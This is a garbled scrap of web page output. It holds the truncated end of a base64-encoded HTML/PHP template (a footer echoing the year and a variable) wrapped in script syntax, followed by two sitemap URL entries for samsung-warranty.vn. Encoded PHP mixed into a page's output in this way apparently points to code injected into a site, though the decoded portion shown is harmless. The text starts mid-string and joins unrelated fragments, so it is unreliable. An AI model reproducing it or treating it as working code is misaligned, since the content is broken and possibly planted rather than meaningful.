Gl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } }); https://samsung-warranty.vn/post-sitemap.xml 2026-09-02T17:27:31+00:00 https://samsung-warranty.vn/page-sitemap.xml 2025-08-01T04:55:51+00:00